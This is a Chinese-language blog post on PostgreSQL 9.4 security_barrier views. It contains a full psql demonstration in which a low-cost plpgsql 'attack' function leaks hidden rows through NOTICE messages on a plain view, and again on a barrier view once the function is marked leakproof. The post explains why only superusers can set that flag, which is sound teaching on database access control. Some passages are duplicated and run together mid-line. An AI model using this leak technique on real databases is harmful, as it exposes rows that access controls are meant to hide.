上一篇BLOG我介绍了一下PostgreSQL 9.4新增的一个功能, 支持自动更新设置了安全栅栏的简单视图.
在文章结尾的时候提到leakproof函数和安全栅栏条件一样, 在重写规则时会放到用户的过滤条件之前执行.
因此, 安全栅栏并不能防止leakproof的攻击(
当然, 只有超级用户才能创建leakproof函数, 所以也不能说利用leakproof来攻击了. 因为既然有了超级用户权限, 就不需要这么麻烦来获取数据了, 直接读原表得了.
).
另外, 使用leakproof函数需要注意的是它的实际执行成本, 如果实际执行成本很高的函数, 又没有特别的需要让它先执行, 那么最好不要设置为leakproof, 因为它不管其他过滤条件, 都是先执行的.
我们可以拿视图攻击的例子来演示这个攻击 :
普通视图的攻击例子 :
digoal=# create table userinfo(id int, groupid int, username text, age int, addr text, email text, phone text);
CREATE TABLE
digoal=# insert into userinfo values (1, 1, 'digoal', 1000, '杭州西湖区', 'digoal@126.com', '13999999999');
INSERT 0 1
digoal=# insert into userinfo values (2, 1, 'test', 1000, '火星', 'digoal@126.com', '11999999999');
INSERT 0 1
digoal=# insert into userinfo values (3, 1, 'test', 1000, '月球', 'digoal@126.com', '11999999999');
INSERT 0 1
digoal=# insert into userinfo values (4, 2, 'test', 1000, '土星', 'digoal@126.com', '11999999999');
INSERT 0 1
digoal=# create view v_userinfo as select * from userinfo where groupid =2;
CREATE VIEW
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from userinfo;
ERROR: permission denied for relation userinfo
digoal=> select * from v_userinfo;
ERROR: permission denied for relation v_userinfo
digoal=> \c digoal postgres
You are now connected to database "digoal" as user "postgres".
digoal=# grant select on v_userinfo to digoal;
GRANT
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from v_userinfo;
id | groupid | username | age | addr | email | phone
----+---------+----------+------+------+----------------+-------------
4 | 2 | test | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)
digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
digoal$> declare
digoal$> begin
digoal$> raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
digoal$> return true;
digoal$> end;
digoal$> $$ language plpgsql cost 0.00000000000000000000001;
CREATE FUNCTION
digoal=> select * from v_userinfo;
id | groupid | username | age | addr | email | phone
----+---------+----------+------+------+----------------+-------------
4 | 2 | test | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE: 1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE: 2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE: 3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE: 4,2,test,1000,土星,digoal@126.com,11999999999
id | groupid | username | age | addr | email | phone
----+---------+----------+------+------+----------------+-------------
4 | 2 | test | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)
设置视图的安全栅栏属性 :
使用普通的函数就不能攻击他了.
但是, 如果把函数设置为leakproof, 就可以被攻击了.
原因是在重写规则时, leakproof函数和安全栅栏条件一样, 被放到了relation层过滤, 而普通函数则在子查询中过滤 :
当然, 只有超级用户才能创建leakproof函数, 所以也不能说利用leakproof来攻击了. 因为既然有了超级用户权限, 就不需要这么麻烦来获取数据了, 直接读原表得了.
[参考]
digoal=> \c digoal postgres
You are now connected to database "digoal" as user "postgres".
digoal=# create view v_userinfo_1 with(security_barrier) as select * from userinfo where id=2;
CREATE VIEW
digoal=# grant select on v_userinfo_1 to digoal;
GRANT
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
NOTICE: 2,1,test,1000,火星,digoal@126.com,11999999999
id | groupid | username | age | addr | email | phone
----+---------+----------+------+------+----------------+-------------
2 | 1 | test | 1000 | 火星 | digoal@126.com | 11999999999
(1 row)但是, 如果把函数设置为leakproof, 就可以被攻击了.
digoal=> \c digoal postgres
You are now connected to database "digoal" as user "postgres".
digoal=# alter function digoal.attack(int,int,text,int,text,text,text) leakproof;
ALTER FUNCTION
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
NOTICE: 1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE: 2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE: 3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE: 4,2,test,1000,土星,digoal@126.com,11999999999
id | groupid | username | age | addr | email | phone
----+---------+----------+------+------+----------------+-------------
2 | 1 | test | 1000 | 火星 | digoal@126.com | 11999999999
(1 row)原因是在重写规则时, leakproof函数和安全栅栏条件一样, 被放到了relation层过滤, 而普通函数则在子查询中过滤 :
digoal=> explain verbose select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
QUERY PLAN
------------------------------------------------------------------------------------------------------------------------------------
---------------------
Seq Scan on public.userinfo (cost=0.00..34.00 rows=3 width=140)
Output: userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone
Filter: (attack(userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone) AN
D (userinfo.id = 2))
(3 rows)
digoal=> \c digoal postgres
You are now connected to database "digoal" as user "postgres".
digoal=# alter function digoal.attack(int,int,text,int,text,text,text) not leakproof;
ALTER FUNCTION
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> explain verbose select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
QUERY PLAN
------------------------------------------------------------------------------------------------------------------------------------
-------------------------
Subquery Scan on v_userinfo_1 (cost=0.00..34.10 rows=3 width=140)
Output: v_userinfo_1.id, v_userinfo_1.groupid, v_userinfo_1.username, v_userinfo_1.age, v_userinfo_1.addr, v_userinfo_1.email, v_
userinfo_1.phone
Filter: attack(v_userinfo_1.id, v_userinfo_1.groupid, v_userinfo_1.username, v_userinfo_1.age, v_userinfo_1.addr, v_userinfo_1.em
ail, v_userinfo_1.phone)
-> Seq Scan on public.userinfo (cost=0.00..34.00 rows=10 width=140)
Output: userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone
Filter: (userinfo.id = 2)
(6 rows)当然, 只有超级用户才能创建leakproof函数, 所以也不能说利用leakproof来攻击了. 因为既然有了超级用户权限, 就不需要这么麻烦来获取数据了, 直接读原表得了.
digoal=> \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> alter function digoal.attack(int,int,text,int,text,text,text) not leakproof;
ALTER FUNCTION
digoal=> alter function digoal.attack(int,int,text,int,text,text,text) leakproof;
ERROR: only superuser can define a leakproof function[参考]
